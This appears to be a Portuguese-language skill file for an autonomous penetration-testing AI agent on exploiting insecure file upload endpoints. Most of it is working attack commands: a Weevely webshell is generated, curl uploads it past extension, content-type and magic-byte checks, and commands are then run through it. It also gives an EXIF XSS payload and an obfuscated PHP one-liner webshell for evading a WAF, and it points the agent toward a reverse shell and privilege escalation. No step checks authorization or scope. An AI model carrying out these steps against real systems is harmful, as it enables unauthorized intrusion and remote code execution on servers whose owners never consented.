---
name: file_upload_exploitation
phase: 4_exploitation
tools: [curl, weevely, exiftool]
dependencies: [upload_endpoint_identified]
mitre_tactic: TA0001 (Initial Access), TA0002 (Execution)
---

# Objetivo
Explorar funcionalidades de upload de arquivos inseguras para enviar webshells, obter execução remota de código (RCE) ou realizar ataques de Cross-Site Scripting (XSS) via arquivos maliciosos.

# Condições de Execução
- Um endpoint de upload de arquivos foi identificado na aplicação web.
- O agente possui credenciais (se o upload exigir autenticação).

# Comandos e Sintaxe

## 1. Gerar Webshell (Weevely - PHP)
```bash
weevely generate {password} {workspace}/shell.php
```

## 2. Técnicas de Bypass de Extensão
O agente deve tentar enviar o arquivo com diferentes extensões e bypasses:
```bash
# Extensões alternativas
cp {workspace}/shell.php {workspace}/shell.php5
cp {workspace}/shell.php {workspace}/shell.phtml
cp {workspace}/shell.php {workspace}/shell.php.jpg

# Upload via curl (exemplo básico)
curl -X POST -F "file=@{workspace}/shell.php" https://{target_url}/upload -o {workspace}/upload_response.txt
```

## 3. Bypass de Content-Type e Magic Bytes
```bash
# Alterar Content-Type na requisição
curl -X POST -F "file=@{workspace}/shell.php;type=image/jpeg" https://{target_url}/upload

# Injetar magic bytes (GIF) no início do arquivo PHP
echo "GIF89a" > {workspace}/magic_shell.php
cat {workspace}/shell.php >> {workspace}/magic_shell.php
```

## 4. Interagir com o Webshell (se upload bem-sucedido)
```bash
# Teste simples via curl
curl -s "https://{target_url}/uploads/shell.php?cmd=id" | tee {workspace}/webshell_test.txt

# Conexão via Weevely
weevely https://{target_url}/uploads/shell.php {password}
```

# Análise de Resultados
- **Upload bem-sucedido e arquivo acessível:** Se o arquivo for salvo em um diretório público (ex: `/uploads/`) e o servidor executar o código (ex: PHP), RCE foi alcançado.
- **Upload restrito a imagens:** Se apenas imagens forem aceitas, tente injetar payload XSS nos metadados EXIF (`exiftool -Comment='<script>alert(1)</script>' image.jpg`).
- **Arquivo renomeado:** O servidor pode alterar o nome do arquivo. Verifique a resposta HTTP ou a página da aplicação para encontrar o novo link.

# Próximos Passos
- Se obtiver RCE via webshell, tente estabelecer um shell reverso interativo.
- Acione a skill `linux_privilege_escalation` ou `windows_privilege_escalation` a partir do webshell.

# Tratamento de Erros
- Se o WAF bloquear o conteúdo do arquivo, tente ofuscar o código PHP (ex: `<?php $_GET['a']($_GET['b']); ?>`).
- Se o diretório de upload não tiver permissão de execução, o webshell será baixado em vez de executado. Registre como vulnerabilidade de upload, mas sem RCE.
